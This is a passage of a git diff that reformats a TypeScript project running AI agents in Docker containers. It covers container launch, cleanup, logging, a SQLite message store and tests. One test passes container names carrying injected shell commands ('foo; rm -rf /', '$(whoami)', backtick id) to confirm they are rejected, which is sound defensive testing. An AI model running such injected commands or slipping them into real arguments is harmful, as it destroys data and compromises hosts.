'sessions', - group.folder, - 'agent-runner-src', - ); + const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); + const groupAgentRunnerDir = path.join(DATA_DIR, 'sessions', group.folder, 'agent-runner-src'); if (fs.existsSync(agentRunnerSrc)) { const srcIndex = path.join(agentRunnerSrc, 'index.ts'); const cachedIndex = path.join(groupAgentRunnerDir, 'index.ts'); const needsCopy = !fs.existsSync(groupAgentRunnerDir) || !fs.existsSync(cachedIndex) || - (fs.existsSync(srcIndex) && - fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs); + (fs.existsSync(srcIndex) && fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs); if (needsCopy) { fs.cpSync(agentRunnerSrc, groupAgentRunnerDir, { recursive: true }); } @@ -231,11 +207,7 @@ function buildVolumeMounts( // Additional mounts validated against external allowlist (tamper-proof from containers) if (group.containerConfig?.additionalMounts) { - const validatedMounts = validateAdditionalMounts( - group.containerConfig.additionalMounts, - group.name, - isMain, - ); + const validatedMounts = validateAdditionalMounts(group.containerConfig.additionalMounts, group.name, isMain); mounts.push(...validatedMounts); } @@ -261,10 +233,7 @@ async function buildContainerArgs( if (onecliApplied) { logger.info({ containerName }, 'OneCLI gateway config applied'); } else { - logger.warn( - { containerName }, - 'OneCLI gateway not reachable — container will have no credentials', - ); + logger.warn({ containerName }, 'OneCLI gateway not reachable — container will have no credentials'); } // Runtime-specific args for host gateway resolution @@ -308,23 +277,14 @@ export async function runContainerAgent( const safeName = group.folder.replace(/[^a-zA-Z0-9-]/g, '-'); const containerName = `nanoclaw-${safeName}-${Date.now()}`; // Main group uses the default OneCLI agent; others use their own agent. - const agentIdentifier = input.isMain - ? undefined - : group.folder.toLowerCase().replace(/_/g, '-'); - const containerArgs = await buildContainerArgs( - mounts, - containerName, - agentIdentifier, - ); + const agentIdentifier = input.isMain ? undefined : group.folder.toLowerCase().replace(/_/g, '-'); + const containerArgs = await buildContainerArgs(mounts, containerName, agentIdentifier); logger.debug( { group: group.name, containerName, - mounts: mounts.map( - (m) => - `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`, - ), + mounts: mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`), containerArgs: containerArgs.join(' '), }, 'Container mount configuration', @@ -372,10 +332,7 @@ export async function runContainerAgent( if (chunk.length > remaining) { stdout += chunk.slice(0, remaining); stdoutTruncated = true; - logger.warn( - { group: group.name, size: stdout.length }, - 'Container stdout truncated due to size limit', - ); + logger.warn({ group: group.name, size: stdout.length }, 'Container stdout truncated due to size limit'); } else { stdout += chunk; } @@ -389,9 +346,7 @@ export async function runContainerAgent( const endIdx = parseBuffer.indexOf(OUTPUT_END_MARKER, startIdx); if (endIdx === -1) break; // Incomplete pair, wait for more data - const jsonStr = parseBuffer - .slice(startIdx + OUTPUT_START_MARKER.length, endIdx) - .trim(); + const jsonStr = parseBuffer.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); parseBuffer = parseBuffer.slice(endIdx + OUTPUT_END_MARKER.length); try { @@ -406,10 +361,7 @@ export async function runContainerAgent( // so idle timers start even for "silent" query completions. outputChain = outputChain.then(() => onOutput(parsed)); } catch (err) { - logger.warn( - { group: group.name, error: err }, - 'Failed to parse streamed output chunk', - ); + logger.warn({ group: group.name, error: err }, 'Failed to parse streamed output chunk'); } } } @@ -428,10 +380,7 @@ export async function runContainerAgent( if (chunk.length > remaining) { stderr += chunk.slice(0, remaining); stderrTruncated = true; - logger.warn( - { group: group.name, size: stderr.length }, - 'Container stderr truncated due to size limit', - ); + logger.warn({ group: group.name, size: stderr.length }, 'Container stderr truncated due to size limit'); } else { stderr += chunk; } @@ -446,17 +395,11 @@ export async function runContainerAgent( const killOnTimeout = () => { timedOut = true; - logger.error( - { group: group.name, containerName }, - 'Container timeout, stopping gracefully', - ); + logger.error({ group: group.name, containerName }, 'Container timeout, stopping gracefully'); try { stopContainer(containerName); } catch (err) { - logger.warn( - { group: group.name, containerName, err }, - 'Graceful stop failed, force killing', - ); + logger.warn({ group: group.name, containerName, err }, 'Graceful stop failed, force killing'); container.kill('SIGKILL'); } }; @@ -507,10 +450,7 @@ export async function runContainerAgent( return; } - logger.error( - { group: group.name, containerName, duration, code }, - 'Container timed out with no output', - ); + logger.error({ group: group.name, containerName, duration, code }, 'Container timed out with no output'); resolve({ status: 'error', @@ -522,8 +462,7 @@ export async function runContainerAgent( const timestamp = new Date().toISOString().replace(/[:.]/g, '-'); const logFile = path.join(logsDir, `container-${timestamp}.log`); - const isVerbose = - process.env.LOG_LEVEL === 'debug' || process.env.LOG_LEVEL === 'trace'; + const isVerbose = process.env.LOG_LEVEL === 'debug' || process.env.LOG_LEVEL === 'trace'; const logLines = [ `=== Container Run Log ===`, @@ -558,12 +497,7 @@ export async function runContainerAgent( containerArgs.join(' '), ``, `=== Mounts ===`, - mounts - .map( - (m) => - `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`, - ) - .join('\n'), + mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), ``, `=== Stderr${stderrTruncated ? ' (TRUNCATED)' : ''} ===`, stderr, @@ -578,9 +512,7 @@ export async function runContainerAgent( `Session ID: ${input.sessionId || 'new'}`, ``, `=== Mounts ===`, - mounts - .map((m) => `${m.containerPath}${m.readonly ? ' (ro)' : ''}`) - .join('\n'), + mounts.map((m) => `${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), ``, ); } @@ -612,10 +544,7 @@ export async function runContainerAgent( // Streaming mode: wait for output chain to settle, return completion marker if (onOutput) { outputChain.then(() => { - logger.info( - { group: group.name, duration, newSessionId }, - 'Container completed (streaming mode)', - ); + logger.info({ group: group.name, duration, newSessionId }, 'Container completed (streaming mode)'); resolve({ status: 'success', result: null, @@ -633,9 +562,7 @@ export async function runContainerAgent( let jsonLine: string; if (startIdx !== -1 && endIdx !== -1 && endIdx > startIdx) { - jsonLine = stdout - .slice(startIdx + OUTPUT_START_MARKER.length, endIdx) - .trim(); + jsonLine = stdout.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); } else { // Fallback: last non-empty line (backwards compatibility) const lines = stdout.trim().split('\n'); @@ -676,10 +603,7 @@ export async function runContainerAgent( container.on('error', (err) => { clearTimeout(timeout); - logger.error( - { group: group.name, containerName, error: err }, - 'Container spawn error', - ); + logger.error({ group: group.name, containerName, error: err }, 'Container spawn error'); resolve({ status: 'error', result: null, @@ -708,9 +632,7 @@ export function writeTasksSnapshot( fs.mkdirSync(groupIpcDir, { recursive: true }); // Main sees all tasks, others only see their own - const filteredTasks = isMain - ? tasks - : tasks.filter((t) => t.groupFolder === groupFolder); + const filteredTasks = isMain ? tasks : tasks.filter((t) => t.groupFolder === groupFolder); const tasksFile = path.join(groupIpcDir, 'current_tasks.json'); fs.writeFileSync(tasksFile, JSON.stringify(filteredTasks, null, 2)); diff --git a/src/container-runtime.test.ts b/src/container-runtime.test.ts index dbb2bbc..94e14e9 100644 --- a/src/container-runtime.test.ts +++ b/src/container-runtime.test.ts @@ -41,19 +41,14 @@ describe('readonlyMountArgs', () => { describe('stopContainer', () => { it('calls docker stop for valid container names', () => { stopContainer('nanoclaw-test-123'); - expect(mockExecSync).toHaveBeenCalledWith( - `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-test-123`, - { stdio: 'pipe' }, - ); + expect(mockExecSync).toHaveBeenCalledWith(`${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-test-123`, { + stdio: 'pipe', + }); }); it('rejects names with shell metacharacters', () => { - expect(() => stopContainer('foo; rm -rf /')).toThrow( - 'Invalid container name', - ); - expect(() => stopContainer('foo$(whoami)')).toThrow( - 'Invalid container name', - ); + expect(() => stopContainer('foo; rm -rf /')).toThrow('Invalid container name'); + expect(() => stopContainer('foo$(whoami)')).toThrow('Invalid container name'); expect(() => stopContainer('foo`id`')).toThrow('Invalid container name'); expect(mockExecSync).not.toHaveBeenCalled(); }); @@ -72,9 +67,7 @@ describe('ensureContainerRuntimeRunning', () => { stdio: 'pipe', timeout: 10000, }); - expect(logger.debug).toHaveBeenCalledWith( - 'Container runtime already running', - ); + expect(logger.debug).toHaveBeenCalledWith('Container runtime already running'); }); it('throws when docker info fails', () => { @@ -82,9 +75,7 @@ describe('ensureContainerRuntimeRunning', () => { throw new Error('Cannot connect to the Docker daemon'); }); - expect(() => ensureContainerRuntimeRunning()).toThrow( - 'Container runtime is required but failed to start', - ); + expect(() => ensureContainerRuntimeRunning()).toThrow('Container runtime is required but failed to start'); expect(logger.error).toHaveBeenCalled(); }); }); @@ -94,9 +85,7 @@ describe('ensureContainerRuntimeRunning', () => { describe('cleanupOrphans', () => { it('stops orphaned nanoclaw containers', () => { // docker ps returns container names, one per line - mockExecSync.mockReturnValueOnce( - 'nanoclaw-group1-111\nnanoclaw-group2-222\n', - ); + mockExecSync.mockReturnValueOnce('nanoclaw-group1-111\nnanoclaw-group2-222\n'); // stop calls succeed mockExecSync.mockReturnValue(''); @@ -104,16 +93,12 @@ describe('cleanupOrphans', () => { // ps + 2 stop calls expect(mockExecSync).toHaveBeenCalledTimes(3); - expect(mockExecSync).toHaveBeenNthCalledWith( - 2, - `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group1-111`, - { stdio: 'pipe' }, - ); - expect(mockExecSync).toHaveBeenNthCalledWith( - 3, - `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group2-222`, - { stdio: 'pipe' }, - ); + expect(mockExecSync).toHaveBeenNthCalledWith(2, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group1-111`, { + stdio: 'pipe', + }); + expect(mockExecSync).toHaveBeenNthCalledWith(3, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group2-222`, { + stdio: 'pipe', + }); expect(logger.info).toHaveBeenCalledWith( { count: 2, names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'] }, 'Stopped orphaned containers', diff --git a/src/container-runtime.ts b/src/container-runtime.ts index beaedfa..678a708 100644 --- a/src/container-runtime.ts +++ b/src/container-runtime.ts @@ -20,10 +20,7 @@ export function hostGatewayArgs(): string[] { } /** Returns CLI args for a readonly bind mount. */ -export function readonlyMountArgs( - hostPath: string, - containerPath: string, -): string[] { +export function readonlyMountArgs(hostPath: string, containerPath: string): string[] { return ['-v', `${hostPath}:${containerPath}:ro`]; } @@ -45,30 +42,14 @@ export function ensureContainerRuntimeRunning(): void { logger.debug('Container runtime already running'); } catch (err) { logger.error({ err }, 'Failed to reach container runtime'); - console.error( - '\n╔════════════════════════════════════════════════════════════════╗', - ); - console.error( - '║ FATAL: Container runtime failed to start ║', - ); - console.error( - '║ ║', - ); - console.error( - '║ Agents cannot run without a container runtime. To fix: ║', - ); - console.error( - '║ 1. Ensure Docker is installed and running ║', - ); - console.error( - '║ 2. Run: docker info ║', - ); - console.error( - '║ 3. Restart NanoClaw ║', - ); - console.error( - '╚════════════════════════════════════════════════════════════════╝\n', - ); + console.error('\n╔════════════════════════════════════════════════════════════════╗'); + console.error('║ FATAL: Container runtime failed to start ║'); + console.error('║ ║'); + console.error('║ Agents cannot run without a container runtime. To fix: ║'); + console.error('║ 1. Ensure Docker is installed and running ║'); + console.error('║ 2. Run: docker info ║'); + console.error('║ 3. Restart NanoClaw ║'); + console.error('╚════════════════════════════════════════════════════════════════╝\n'); throw new Error('Container runtime is required but failed to start', { cause: err, }); @@ -78,10 +59,10 @@ export function ensureContainerRuntimeRunning(): void { /** Kill orphaned NanoClaw containers from previous runs. */ export function cleanupOrphans(): void { try { - const output = execSync( - `${CONTAINER_RUNTIME_BIN} ps --filter name=nanoclaw- --format '{{.Names}}'`, - { stdio: ['pipe', 'pipe', 'pipe'], encoding: 'utf-8' }, - ); + const output = execSync(`${CONTAINER_RUNTIME_BIN} ps --filter name=nanoclaw- --format '{{.Names}}'`, { + stdio: ['pipe', 'pipe', 'pipe'], + encoding: 'utf-8', + }); const orphans = output.trim().split('\n').filter(Boolean); for (const name of orphans) { try { @@ -91,10 +72,7 @@ export function cleanupOrphans(): void { } } if (orphans.length > 0) { - logger.info( - { count: orphans.length, names: orphans }, - 'Stopped orphaned containers', - ); + logger.info({ count: orphans.length, names: orphans }, 'Stopped orphaned containers'); } } catch (err) { logger.warn({ err }, 'Failed to clean up orphaned containers'); diff --git a/src/db-migration.test.ts b/src/db-migration.test.ts index e26873d..d15ba85 100644 --- a/src/db-migration.test.ts +++ b/src/db-migration.test.ts @@ -23,25 +23,18 @@ describe('database migrations', () => { ); `); legacyDb - .prepare( - `INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`, - ) + .prepare(`INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`) .run('tg:12345', 'Telegram DM', '2024-01-01T00:00:00.000Z'); legacyDb - .prepare( - `INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`, - ) + .prepare(`INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`) .run('tg:-10012345', 'Telegram Group', '2024-01-01T00:00:01.000Z'); legacyDb - .prepare( - `INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`, - ) + .prepare(`INSERT INTO chats (jid, name, last_message_time) VALUES (?, ?, ?)`) .run('room@g.us', 'WhatsApp Group', '2024-01-01T00:00:02.000Z'); legacyDb.close(); vi.resetModules(); - const { initDatabase, getAllChats, _closeDatabase } = - await import('./db.js'); + const { initDatabase, getAllChats, _closeDatabase } = await import('./db.js'); initDatabase(); diff --git a/src/db.test.ts b/src/db.test.ts index e10db20..74d0093 100644 --- a/src/db.test.ts +++ b/src/db.test.ts @@ -57,11 +57,7 @@ describe('storeMessage', () => { timestamp: '2024-01-01T00:00:01.000Z', }); - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); expect(messages[0].id).toBe('msg-1'); expect(messages[0].sender).toBe('123@s.whatsapp.net'); @@ -81,11 +77,7 @@ describe('storeMessage', () => { timestamp: '2024-01-01T00:00:04.000Z', }); - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(0); }); @@ -103,11 +95,7 @@ describe('storeMessage', () => { }); // Message is stored (we can retrieve it — is_from_me doesn't affect retrieval) - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); }); @@ -132,11 +120,7 @@ describe('storeMessage', () => { timestamp: '2024-01-01T00:00:01.000Z', }); - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); expect(messages[0].content).toBe('updated'); }); @@ -160,16 +144,10 @@ describe('reply context', () => { reply_to_sender_name: 'Bob', }); - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); expect(messages[0].reply_to_message_id).toBe('42'); - expect(messages[0].reply_to_message_content).toBe( - 'Are you coming tonight?', - ); + expect(messages[0].reply_to_message_content).toBe('Are you coming tonight?'); expect(messages[0].reply_to_sender_name).toBe('Bob'); }); @@ -185,11 +163,7 @@ describe('reply context', () => { timestamp: '2024-01-01T00:00:01.000Z', }); - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); expect(messages[0].reply_to_message_id).toBeNull(); expect(messages[0].reply_to_message_content).toBeNull(); @@ -211,11 +185,7 @@ describe('reply context', () => { reply_to_sender_name: 'Dave', }); - const { messages } = getNewMessages( - ['group@g.us'], - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const { messages } = getNewMessages(['group@g.us'], '2024-01-01T00:00:00.000Z', 'Andy'); expect(messages).toHaveLength(1); expect(messages[0].reply_to_message_id).toBe('99'); expect(messages[0].reply_to_sender_name).toBe('Dave'); @@ -264,22 +234,14 @@ describe('getMessagesSince', () => { }); it('returns messages after the given timestamp', () => { - const msgs = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:02.000Z', - 'Andy', - ); + const msgs = getMessagesSince('group@g.us', '2024-01-01T00:00:02.000Z', 'Andy'); // Should exclude m1, m2 (before/at timestamp), m3 (bot message) expect(msgs).toHaveLength(1); expect(msgs[0].content).toBe('third'); }); it('excludes bot messages via is_bot_message flag', () => { - const msgs = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - ); + const msgs = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy'); const botMsgs = msgs.filter((m) => m.content === 'bot reply'); expect(botMsgs).toHaveLength(0); }); @@ -386,11 +348,7 @@ describe('getMessagesSince', () => { content: 'Andy: old bot reply', timestamp: '2024-01-01T00:00:05.000Z', }); - const msgs = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:04.000Z', - 'Andy', - ); + const msgs = getMessagesSince('group@g.us', '2024-01-01T00:00:04.000Z', 'Andy'); expect(msgs).toHaveLength(0); }); }); @@ -449,11 +407,7 @@ describe('getNewMessages', () => { }); it('filters by timestamp', () => { - const { messages } = getNewMessages( - ['group1@g.us', 'group2@g.us'], - '2024-01-01T00:00:02.000Z', - 'Andy', - ); + const { messages } = getNewMessages(['group1@g.us', 'group2@g.us'], '2024-01-01T00:00:02.000Z', 'Andy'); // Only g1 msg2 (after ts, not bot) expect(messages).toHaveLength(1); expect(messages[0].content).toBe('g1 msg2'); @@ -578,12 +532,7 @@ describe('message query LIMIT', () => { }); it('getNewMessages caps to limit and returns most recent in chronological order', () => { - const { messages, newTimestamp } = getNewMessages( - ['group@g.us'], - '2024-01-01T00:00:00.000Z', - 'Andy', - 3, - ); + const { messages, newTimestamp } = getNewMessages(['group@g.us'], '2024-01-01T00:00:00.000Z', 'Andy', 3); expect(messages).toHaveLength(3); expect(messages[0].content).toBe('message 8'); expect(messages[2].content).toBe('message 10'); @@ -594,12 +543,7 @@ describe('message query LIMIT', () => { }); it('getMessagesSince caps to limit and returns most recent in chronological order', () => { - const messages = getMessagesSince( - 'group@g.us', - '2024-01-01T00:00:00.000Z', - 'Andy', - 3, - ); + const messages = getMessagesSince('group@g.us', '2024-01-01T00:00:00.000Z', 'Andy', 3); expect(messages).toHaveLength(3); expect(messages[0].content).toBe('message 8'); expect(messages[2].content).toBe('message 10'); @@ -607,12 +551,7 @@ describe('message query LIMIT', () => { }); it('returns all messages when count is under the limit', () => { - const { messages } = getNewMessages( - ['group@g.us'], - '2024-01-01T00:00:00.000Z', - 'Andy', - 50, - ); + const { messages } = getNewMessages(['group@g.us'], '2024-01-01T00:00:00.000Z', 'Andy', 50); expect(messages).toHaveLength(10); }); }); diff --git a/src/db.ts b/src/db.ts index 591f2a8..d1484c7 100644 --- a/src/db.ts +++ b/src/db.ts @@ -5,12 +5,7 @@ import path from 'path'; import { ASSISTANT_NAME, DATA_DIR, STORE_DIR } from './config.js'; import { isValidGroupFolder } from './group-folder.js'; import { logger } from './logger.js'; -import { - NewMessage, - RegisteredGroup, - ScheduledTask, - TaskRunLog, -} from './types.js'; +import { NewMessage, RegisteredGroup, ScheduledTask, TaskRunLog } from './types.js'; let db: Database.Database; @@ -86,9 +81,7 @@ function createSchema(database: Database.Database): void { // Add context_mode column if it doesn't exist (migration for existing DBs) try { - database.exec( - `ALTER TABLE scheduled_tasks ADD COLUMN context_mode TEXT DEFAULT 'isolated'`, - ); + database.exec(`ALTER TABLE scheduled_tasks ADD COLUMN context_mode TEXT DEFAULT 'isolated'`); } catch { /* column already exists */ } @@ -102,26 +95,18 @@ function createSchema(database: Database.Database): void { // Add is_bot_message column if it doesn't exist (migration for existing DBs) try { - database.exec( - `ALTER TABLE messages ADD COLUMN is_bot_message INTEGER DEFAULT 0`, - ); + database.exec(`ALTER TABLE messages ADD COLUMN is_bot_message INTEGER DEFAULT 0`); // Backfill: mark existing bot messages that used the content prefix pattern - database - .prepare(`UPDATE messages SET is_bot_message = 1 WHERE content LIKE ?`) - .run(`${ASSISTANT_NAME}:%`); + database.prepare(`UPDATE messages SET is_bot_message = 1 WHERE content LIKE ?`).run(`${ASSISTANT_NAME}:%`); } catch { /* column already exists */ } // Add is_main column if it doesn't exist (migration for existing DBs) try { - database.exec( - `ALTER TABLE registered_groups ADD COLUMN is_main INTEGER DEFAULT 0`, - ); + database.exec(`ALTER TABLE registered_groups ADD COLUMN is_main INTEGER DEFAULT 0`); // Backfill: existing rows with folder = 'main' are the main group - database.exec( - `UPDATE registered_groups SET is_main = 1 WHERE folder = 'main'`, - ); + database.exec(`UPDATE registered_groups SET is_main = 1 WHERE folder = 'main'`); } catch { /* column already exists */ } @@ -131,18 +116,10 @@ function createSchema(database: Database.Database): void { database.exec(`ALTER TABLE chats ADD COLUMN channel TEXT`); database.exec(`ALTER TABLE chats ADD COLUMN is_group INTEGER DEFAULT 0`); // Backfill from JID patterns - database.exec( - `UPDATE chats SET channel = 'whatsapp', is_group = 1 WHERE jid LIKE '%@g.us'`, - ); - database.exec( - `UPDATE chats SET channel = 'whatsapp', is_group = 0 WHERE jid LIKE '%@s.whatsapp.net'`, - ); - database.exec( - `UPDATE chats SET channel = 'discord', is_group = 1 WHERE jid LIKE 'dc:%'`, - ); - database.exec( - `UPDATE chats SET channel = 'telegram', is_group = 0 WHERE jid LIKE 'tg:%'`, - ); + database.exec(`UPDATE chats SET channel = 'whatsapp', is_group = 1 WHERE jid LIKE '%@g.us'`); + database.exec(`UPDATE chats SET channel = 'whatsapp', is_group = 0 WHERE jid LIKE '%@s.whatsapp.net'`); + database.exec(`UPDATE chats SET channel = 'discord', is_group = 1 WHERE jid LIKE 'dc:%'`); + database.exec(`UPDATE chats SET channel = 'telegram', is_group = 0 WHERE jid LIKE 'tg:%'`); } catch { /* columns already exist */ } @@ -150,9 +127,7 @@ function createSchema(database: Database.Database): void { // Add reply context columns if they don't exist (migration for existing DBs) try { database.exec(`ALTER TABLE messages ADD COLUMN reply_to_message_id TEXT`); - database.exec( - `ALTER TABLE messages ADD COLUMN reply_to_message_content TEXT`, - ); + database.exec(`ALTER TABLE messages ADD COLUMN reply_to_message_content TEXT`); database.exec(`ALTER TABLE messages ADD COLUMN reply_to_sender_name TEXT`); } catch { /* columns already exist */ @@ -263,9 +238,9 @@ export function getAllChats(): ChatInfo[] { */ export function getLastGroupSync(): string | null { // Store sync time in a special chat entry - const row = db - .prepare(`SELECT last_message_time FROM chats WHERE jid = '__group_sync__'`) - .get() as { last_message_time: string } | undefined; + const row = db.prepare(`SELECT last_message_time FROM chats WHERE jid = '__group_sync__'`).get() as + | { last_message_time: string } + | undefined; return row?.last_message_time || null; } @@ -353,9 +328,7 @@ export function getNewMessages( ) ORDER BY timestamp `; - const rows = db - .prepare(sql) - .all(lastTimestamp, ...jids, `${botPrefix}:%`, limit) as NewMessage[]; + const rows = db.prepare(sql).all(lastTimestamp, ...jids, `${botPrefix}:%`, limit) as NewMessage[]; let newTimestamp = lastTimestamp; for (const row of rows) { @@ -386,15 +359,10 @@ export function getMessagesSince( LIMIT ? ) ORDER BY timestamp `; - return db - .prepare(sql) - .all(chatJid, sinceTimestamp, `${botPrefix}:%`, limit) as NewMessage[]; + return db.prepare(sql).all(chatJid, sinceTimestamp, `${botPrefix}:%`, limit) as NewMessage[]; } -export function getLastBotMessageTimestamp( - chatJid: string, - botPrefix: string, -): string | undefined { +export function getLastBotMessageTimestamp(chatJid: string, botPrefix: string): string | undefined { const row = db .prepare( `SELECT MAX(timestamp) as ts FROM messages @@ -404,9 +372,7 @@ export function getLastBotMessageTimestamp( return row?.ts ?? undefined; } -export function createTask( - task: Omit, -): void { +export function createTask(task: Omit): void { db.prepare( ` INSERT INTO scheduled_tasks (id, group_folder, chat_jid, prompt, script, schedule_type, schedule_value, context_mode, next_run, status, created_at) @@ -428,37 +394,23 @@ export function createTask( } export function getTaskById(id: string): ScheduledTask | undefined { - return db.prepare('SELECT * FROM scheduled_tasks WHERE id = ?').get(id) as - | ScheduledTask - | undefined; + return db.prepare('SELECT * FROM scheduled_tasks WHERE id = ?').get(id) as ScheduledTask | undefined; } export function getTasksForGroup(groupFolder: string): ScheduledTask[] { return db - .prepare( - 'SELECT * FROM scheduled_tasks WHERE group_folder = ? ORDER BY created_at DESC', - ) + .prepare('SELECT * FROM scheduled_tasks WHERE group_folder = ? ORDER BY created_at DESC') .all(groupFolder) as ScheduledTask[]; } export function getAllTasks(): ScheduledTask[] { - return db - .prepare('SELECT * FROM scheduled_tasks ORDER BY created_at DESC') - .all() as ScheduledTask[]; + return db.prepare('SELECT * FROM scheduled_tasks ORDER BY created_at DESC').all() as ScheduledTask[]; } export function updateTask( id: string, updates: Partial< - Pick< - ScheduledTask, - | 'prompt' - | 'script' - | 'schedule_type' - | 'schedule_value' - | 'next_run' - | 'status' - > + Pick >, ): void { const fields: string[] = []; @@ -492,9 +444,7 @@ export function updateTask( if (fields.length === 0) return; values.push(id); - db.prepare( - `UPDATE scheduled_tasks SET ${fields.join(', ')} WHERE id = ?`, - ).run(...values); + db.prepare(`UPDATE scheduled_tasks SET ${fields.join(', ')} WHERE id = ?`).run(...values); } export function deleteTask(id: string): void { @@ -516,11 +466,7 @@ export function getDueTasks(): ScheduledTask[] { .all(now) as ScheduledTask[]; } -export function updateTaskAfterRun( - id: string, - nextRun: string | null, - lastResult: string, -): void { +export function updateTaskAfterRun(id: string, nextRun: string | null, lastResult: string): void { const now = new Date().toISOString(); db.prepare( ` @@ -537,44 +483,31 @@ export function logTaskRun(log: TaskRunLog): void { INSERT INTO task_run_logs (task_id, run_at, duration_ms, status, result, error) VALUES (?, ?, ?, ?, ?, ?) `, - ).run( - log.task_id, - log.run_at, - log.duration_ms, - log.status, - log.result, - log.error, - ); + ).run(log.task_id, log.run_at, log.duration_ms, log.status, log.result, log.error); } // --- Router state accessors --- export function getRouterState(key: string): string | undefined { - const row = db - .prepare('SELECT value FROM router_state WHERE key = ?') - .get(key) as { value: string } | undefined; + const row = db.prepare('SELECT value FROM router_state WHERE key = ?').get(key) as { value: string } | undefined; return row?.value; } export function setRouterState(key: string, value: string): void { - db.prepare( - 'INSERT OR REPLACE INTO router_state (key, value) VALUES (?, ?)', - ).run(key, value); + db.prepare('INSERT OR REPLACE INTO router_state (key, value) VALUES (?, ?)').run(key, value); } // --- Session accessors --- export function getSession(groupFolder: string): string | undefined { - const row = db - .prepare('SELECT session_id FROM sessions WHERE group_folder = ?') - .get(groupFolder) as { session_id: string } | undefined; + const row = db.prepare('SELECT session_id FROM sessions WHERE group_folder = ?').get(groupFolder) as + | { session_id: string } + | undefined; return row?.session_id; } export function setSession(groupFolder: string, sessionId: string): void { - db.prepare( - 'INSERT OR REPLACE INTO sessions (group_folder, session_id) VALUES (?, ?)', - ).run(groupFolder, sessionId); + db.prepare('INSERT OR REPLACE INTO sessions (group_folder, session_id) VALUES (?, ?)').run(groupFolder, sessionId); } export function deleteSession(groupFolder: string): void { @@ -582,9 +515,10 @@ export function deleteSession(groupFolder: string): void { } export function getAllSessions(): Record { - const rows = db - .prepare('SELECT group_folder, session_id FROM sessions') - .all() as Array<{ group_folder: string; session_id: string }>; + const rows = db.prepare('SELECT group_folder, session_id FROM sessions').all() as Array<{ + group_folder: string; + session_id: string; + }>; const result: Record = {}; for (const row of rows) { result[row.group_folder] = row.session_id; @@ -594,12 +528,8 @@ export function getAllSessions(): Record { // --- Registered group accessors --- -export function getRegisteredGroup( - jid: string, -): (RegisteredGroup & { jid: string }) | undefined { - const row = db - .prepare('SELECT * FROM registered_groups WHERE jid = ?') - .get(jid) as +export function getRegisteredGroup(jid: string): (RegisteredGroup & { jid: string }) | undefined { + const row = db.prepare('SELECT * FROM registered_groups WHERE jid = ?').get(jid) as | { jid: string; name: string; @@ -613,10 +543,7 @@ export function getRegisteredGroup( | undefined; if (!row) return undefined; if (!isValidGroupFolder(row.folder)) { - logger.warn( - { jid: row.jid, folder: row.folder }, - 'Skipping registered group with invalid folder', - ); + logger.warn({ jid: row.jid, folder: row.folder }, 'Skipping registered group with invalid folder'); return undefined; } return { @@ -625,11 +552,8 @@ export function getRegisteredGroup( folder: row.folder, trigger: row.trigger_pattern, added_at: row.added_at, - containerConfig: row.container_config - ? JSON.parse(row.container_config) - : undefined, - requiresTrigger: - row.requires_trigger === null ? undefined : row.requires_trigger === 1, + containerConfig: row.container_config ? JSON.parse(row.container_config) : undefined, + requiresTrigger: row.requires_trigger === null ? undefined : row.requires_trigger === 1, isMain: row.is_main === 1 ? true : undefined, }; } @@ -667,10 +591,7 @@ export function getAllRegisteredGroups(): Record { const result: Record = {}; for (const row of rows) { if (!isValidGroupFolder(row.folder)) { - logger.warn( - { jid: row.jid, folder: row.folder }, - 'Skipping registered group with invalid folder', - ); + logger.warn({ jid: row.jid, folder: row.folder }, 'Skipping registered group with invalid folder'); continue; } result[row.jid] = { @@ -678,11 +599,8 @@ export function getAllRegisteredGroups(): Record { folder: row.folder, trigger: row.trigger_pattern, added_at: 